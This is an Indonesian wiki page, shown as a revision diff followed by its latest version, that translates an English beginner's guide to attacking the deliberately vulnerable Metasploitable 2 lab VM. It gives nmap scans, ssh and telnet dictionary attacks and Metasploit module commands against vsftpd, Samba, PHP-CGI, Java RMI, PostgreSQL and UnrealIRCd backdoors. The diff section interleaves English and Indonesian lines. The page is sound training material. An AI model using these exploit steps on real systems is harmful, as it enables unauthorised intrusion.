Metasploitable: pentest: Difference between revisions

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Metasploitable adalah versi rentan Linux Ubuntu yang secara sukarela dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari
Metasploitable adalah versi rentan Linux Ubuntu yang sengaja dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari


* https://www.vulnhub.com/entry/metasploitable-2,29/
* https://www.vulnhub.com/entry/metasploitable-2,29/
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==Download & Install==
==Download & Install==


Pertama-tama Anda harus mengunduh metasploit dari tautan di atas. Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.
Pertama-tama Anda harus mengunduh metasploit dari tautan berikut,
 
* https://www.vulnhub.com/entry/metasploitable-2,29/
* https://information.rapid7.com/download-metasploitable-2017.html
 
Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.


Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.
Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.
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  ifconfig
  ifconfig


==nmap==
==Asumsi IP metasploitable==


Scan sederhan dapat menggunakan nmap
Asumsi IP metasploitable


  nmap -sV 192.168.122.134
  192.168.122.134
nmap -sS -v -O 192.168.122.134


Due to the nmap command we can see which port is open and which service is going on which port, therefore, we can start our attack one by one to every vulnerable port. So, first we will attack on vsftpd2.3.4. As we know that this version is vulnerable, so let us exploit it. For this, open metasploit and type:
==nmap==


search vsftpd 2.3.4
Scan sederhana dapat menggunakan nmap


Typing the above command will show the exploits that will help you in attack the said version. So further type:
nmap -sS -v -O 192.168.122.134


use exploit/unix/ftp/vsftpd_234_backdoor
Dari hasil scan nmap kita akan bisa melihat port mana yang terbuka service mana yang berjalan di port mana. Kita dapat memulai serangan satu per satu di port yang vulneable.


set rhost 192.168.1.106
==attack vsftpd==


set rport 21
buka metasploit di kali linux, ketik


exploit
search vsftpd 2.3.4


Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.
Lanjutkan, ketik


Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as :
use exploit/unix/ftp/vsftpd_234_backdoor
 
set rhost 192.168.122.134
use auxiliary/scanner/ssh/ssh_login
set rport 21
 
exploit
set rhosts 192.168.1.106
 
set rport 22
 
set user_file /root/Desktop/user.txt
 
set pass_file /root/Desktop/pass.txt
 
exploit
 
As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.
 
Now we can use that password to the shell of metasploitable and for this just got to the terminal of Kali and type:
 
ssh msfadmin@192.168.1.106
 
Here,
 
ssh –> is the service through which we are exploiting
 
msfadmin –> is the password
 
192.168.1.106 –> is the victim’s IP address
 
Upon execution you can see that you will automatically enter its shell.
 
Now, we will try and attack via telnet which works on port 23. This port will also help us to find password first and then we can enter its shell. So, for this type:


use auxiliary/scanner/telnet/telnet_login
Jika berhasil maka anda akan masuk ke shell metasploitable. Jika selesai melakukan pekerjaan attack, ketik


set rhosts 192.168.1.106
exit


set rport 23
==attack ssh==


set user_file /root/Desktop/user.txt
Buat file di Kali Linux


set pass_file /root/Desktop/pass.txt
/root/Desktop/user.txt
/root/Desktop/pass.txt


exploit
Isi user.txt


Similarly, as ssh, it will also start dictionary attack and step by step it will find the correct password. Now that you have the password you can log on to metasploitable.
msfadmin
user


telnet 192.168.1.106
Isi pass.txt


After typing so, it will ask you for the username and password and once you enter these you will enter the metasploitable as shown below:
msfadmin


Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:


use exploit/multi/http/php_cgi_arg_injection
Masuk ke metasploit, ketik,


set rhost 192.168.1.106
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.106
set rport 22
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit


set rport 80
Anda akan dapat username & password yang bisa di akses menggunakan ssh


exploit
===Remote login dari kali linux===


After the execution you will enter a meterpreter session of metasploitable as shown.
misalnya IP metasploitable 192.168.122.134


Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:
ssh msfadmin@192.168.122.134


use exploit/multi/samba/usermap_script
password


set rhost 192.168.1.106
msfadmin


set rport 139
==attack telnet==


exploit
Jalankan metasploit di kali linux, ketik


The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.122.134
set rport 23
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit


Now, we will use the following exploit:
Sama dengan ssh, ini adalah dictionary attack. Setelah memperoleh password kita dapat masuk dari kali linux menggunakan


use exploit/multi/misc/java_rmi_server
telnet 192.168.122.134


set rhost 192.168.1.106
==attack web==


set rport 1899
Contoh serangan metasploit ke web di port 80.
Jalankan metasploit di kali linux, ketik


exploit
use exploit/multi/http/php_cgi_arg_injection
set rhost 192.168.122.134
set rport 80
exploit


Again, after you hit enter button on your keyboard you will have a meterpreter session.
Anda akan masuk ke sesi meterpreter dari metasploitable


The next exploit is:
==attack file sharing==


use exploit/linux/postgres/postgres_payload
Serangan ke file sharing di port 139.
Jalankan metasploit di kali linux, ketik


set rhost 192.168.1.106
use exploit/multi/samba/usermap_script
set rhost 192.168.122.134
set rport 139
exploit


set rport 5432
Ini akan masuk ke shell metasploit lagi. Selanjutnya, ketik,


exploit
use exploit/multi/misc/java_rmi_server
set rhost 192.168.122.134
set rport 1899
exploit


Once the command is executed you will enter the meterpreter session as shown above.
Ketik "ENTER" kita akan masuk ke sesi meterpreter


The exploit that use is related to unreal ircd and to search its exploit type :
==attack postgres==


search Unreal ircd
Masuk ke metasploit di kali linux, ketik


And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.
use exploit/linux/postgres/postgres_payload
set rhost 192.168.122.134
set rport 5432
exploit


To the exploit type:
Jika berhasil, anda akan masuk ke sesi meterpreter


use exploit/unix/irc/unreal_ircd_3281_backdoor
==attack ircd==


set rhost 192.168.1.106
Masuk ke metasploit di kali linux, search Unreal ircd exploit


set rport 6667
search Unreal ircd


exploit
Ketik,


And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.
use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.122.134
set rport 6667
exploit


These are all the attacks that you can use against metasploitable and in the process you can learn how to attack a real life victim using different ports.
Jika berhasil, tekan "ENTER", kita akan masuk ke shell metasploitable.


==Referensi==
==Referensi==

Latest revision as of 21:46, 7 December 2018

sumber: https://www.hackingarticles.in/penetration-testing-skills-practice-metasploitable-beginner-guide/


Metasploitable adalah versi rentan Linux Ubuntu yang sengaja dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari

Metasploitable adalah framework yang dapat dieksploitasi yang membantu kita untuk meningkatkan keterampilan kita dan juga membantu penggunaan untuk menggunakan setiap port untuk keuntungan kita karena kita semua tahu bahwa port dan protokol adalah dasar dari peretasan sehingga, oleh karena itu, semakin banyak anda dapat mengambil manfaat dari korban.

Dalam hal ini kita akan menelusuri seluruh konsep metasploitable termasuk cara menginstalnya dan cara meretasnya selangkah demi selangkah. Kami akan mengambil semua port satu per satu yang rentan dan mencoba untuk mengeksploitasinya.

Download & Install

Pertama-tama Anda harus mengunduh metasploit dari tautan berikut,

Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.

Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.

Saat start, akan ditanya username password, masukan 

username msfadmin
password msfadmin

Cek IP

Cek IP address menggunakan 

ifconfig

Asumsi IP metasploitable

Asumsi IP metasploitable 

192.168.122.134

nmap

Scan sederhana dapat menggunakan nmap 

nmap -sS -v -O 192.168.122.134

Dari hasil scan nmap kita akan bisa melihat port mana yang terbuka service mana yang berjalan di port mana. Kita dapat memulai serangan satu per satu di port yang vulneable.

attack vsftpd

buka metasploit di kali linux, ketik 

search vsftpd 2.3.4

Lanjutkan, ketik 

use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.122.134
set rport 21
exploit

Jika berhasil maka anda akan masuk ke shell metasploitable. Jika selesai melakukan pekerjaan attack, ketik 

exit

attack ssh

Buat file di Kali Linux 

/root/Desktop/user.txt
/root/Desktop/pass.txt

Isi user.txt 

msfadmin
user

Isi pass.txt 

msfadmin


Masuk ke metasploit, ketik, 

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.106
set rport 22
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

Anda akan dapat username & password yang bisa di akses menggunakan ssh

Remote login dari kali linux

misalnya IP metasploitable 192.168.122.134 

ssh msfadmin@192.168.122.134

password 

msfadmin

attack telnet

Jalankan metasploit di kali linux, ketik 

use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.122.134
set rport 23
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

Sama dengan ssh, ini adalah dictionary attack. Setelah memperoleh password kita dapat masuk dari kali linux menggunakan 

telnet 192.168.122.134

attack web

Contoh serangan metasploit ke web di port 80. Jalankan metasploit di kali linux, ketik 

use exploit/multi/http/php_cgi_arg_injection
set rhost 192.168.122.134
set rport 80
exploit

Anda akan masuk ke sesi meterpreter dari metasploitable

attack file sharing

Serangan ke file sharing di port 139. Jalankan metasploit di kali linux, ketik 

use exploit/multi/samba/usermap_script
set rhost 192.168.122.134
set rport 139
exploit

Ini akan masuk ke shell metasploit lagi. Selanjutnya, ketik, 

use exploit/multi/misc/java_rmi_server
set rhost 192.168.122.134
set rport 1899
exploit

Ketik "ENTER" kita akan masuk ke sesi meterpreter

attack postgres

Masuk ke metasploit di kali linux, ketik 

use exploit/linux/postgres/postgres_payload
set rhost 192.168.122.134
set rport 5432
exploit

Jika berhasil, anda akan masuk ke sesi meterpreter

attack ircd

Masuk ke metasploit di kali linux, search Unreal ircd exploit 

search Unreal ircd

Ketik, 

use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.122.134
set rport 6667
exploit

Jika berhasil, tekan "ENTER", kita akan masuk ke shell metasploitable.

Referensi

Pranala Menarik

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